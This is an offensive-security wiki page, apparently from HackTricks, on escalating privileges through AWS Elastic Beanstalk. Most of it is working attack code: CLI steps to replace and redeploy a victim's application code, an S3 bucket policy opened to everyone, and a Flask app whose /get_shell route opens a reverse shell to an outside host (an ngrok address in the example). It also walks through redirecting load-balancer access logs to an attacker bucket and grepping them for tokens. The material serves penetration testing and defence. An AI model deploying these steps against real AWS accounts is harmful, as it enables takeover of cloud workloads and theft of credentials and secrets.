# AWS - Elastic Beanstalk Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Elastic Beanstalk

More **info about Elastic Beanstalk** in:

{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

> [!WARNING]
> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**

### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others

With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it.

```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```

### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...

The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.

- Create an AWS Elastic Beanstalk application:

```bash
aws elasticbeanstalk create-application --application-name MyApp
```

- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):

```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```

If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one.

- Package your application code and dependencies into a ZIP file:

```python
zip -r MyApp.zip .
```

- Upload the ZIP file to an S3 bucket:

```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```

- Create an AWS Elastic Beanstalk application version:

```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```

- Deploy the application version to your AWS Elastic Beanstalk environment:

```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```

### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`

First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**:

{{#tabs }}
{{#tab name="application.py" }}

```python
from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
        return jsonify('404')

@application.route("/")
def index():
        return jsonify('Welcome!')


@application.route("/get_shell")
def search():
        host=request.args.get('host')
        port=request.args.get('port')
        if host and port:
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((host,int(port)))
            os.dup2(s.fileno(),0)
            os.dup2(s.fileno(),1)
            os.dup2(s.fileno(),2)
            p=subprocess.call(["/bin/sh","-i"])
        return jsonify('done')

if __name__=="__main__":
    application.run()
```

{{#endtab }}

{{#tab name="requirements.txt" }}

```
click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1
```

{{#endtab }}
{{#endtabs }}

Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):

```json
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "s3:ListBucket",
        "s3:ListBucketVersions",
        "s3:GetObject",
        "s3:GetObjectVersion",
        "s3:*"
      ],
      "Resource": [
        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
      ]
    },
    {
      "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
      "Effect": "Deny",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:DeleteBucket",
      "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
    }
  ]
}
```

```bash
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```

### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` to enable ALB access logs exfiltration

If an attacker can **enumerate** an Elastic Beanstalk **web** environment, **update** it, and also **control the policy of an S3 bucket** they own, they may be able to **exfiltrate HTTP traffic** by enabling **ALB access logs** and redirecting them to that bucket.

> [!NOTE]
> This technique also needs the ability to **modify the destination bucket policy** so the ALB log delivery service can write the logs there.

Prepare an **attacker-controlled bucket** so the ALB log delivery service can write there:

```bash
ENV_NAME=<environment-name>
LOG_BUCKET=<attacker-bucket>
LOG_PREFIX=<prefix>
cat > /tmp/alb-log-policy.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowALBLogDeliveryPut",
      "Effect": "Allow",
      "Principal": {
        "Service": [
          "logdelivery.elasticloadbalancing.amazonaws.com",
          "delivery.logs.amazonaws.com"
        ]
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
    },
    {
      "Sid": "AllowALBLogDeliveryAclCheck",
      "Effect": "Allow",
      "Principal": {
        "Service": [
          "logdelivery.elasticloadbalancing.amazonaws.com",
          "delivery.logs.amazonaws.com"
        ]
      },
      "Action": [
        "s3:GetBucketAcl",
        "s3:ListBucket"
      ],
      "Resource": "arn:aws:s3:::$LOG_BUCKET"
    }
  ]
}
EOF

aws s3api put-bucket-policy \
  --bucket "$LOG_BUCKET" \
  --policy file:///tmp/alb-log-policy.json \
  --profile "$PROFILE"
```

Then enable the ALB access logs:

```bash
aws elbv2 modify-load-balancer-attributes \
  --load-balancer-arn "$LB_ARN" \
  --attributes \
    Key=access_logs.s3.enabled,Value=true \
    Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
    Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
  --region us-east-1 \
  --profile "$PROFILE"
```

After that, wait for the ALB to batch and deliver the logs:

```bash
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
```

Finally, download the logs and grep for interesting query strings:

```bash
mkdir -p /tmp/lab2-logs
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
  /tmp/lab2-logs \
  --recursive \
  --profile "$PROFILE"

find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
```

The **request line** inside the ALB logs may contain values such as **`?token=<FLAG>`** if sensitive data is being sent in the URL.

**Impact**:

- Continuous exfiltration of HTTP request metadata through a logging plane controlled by the attacker
- Exposure of secrets present in the URL query string
- A stealthier exfiltration path because the traffic is produced by legitimate application components and exported by AWS-managed logging

{{#include ../../../../banners/hacktricks-training.md}}
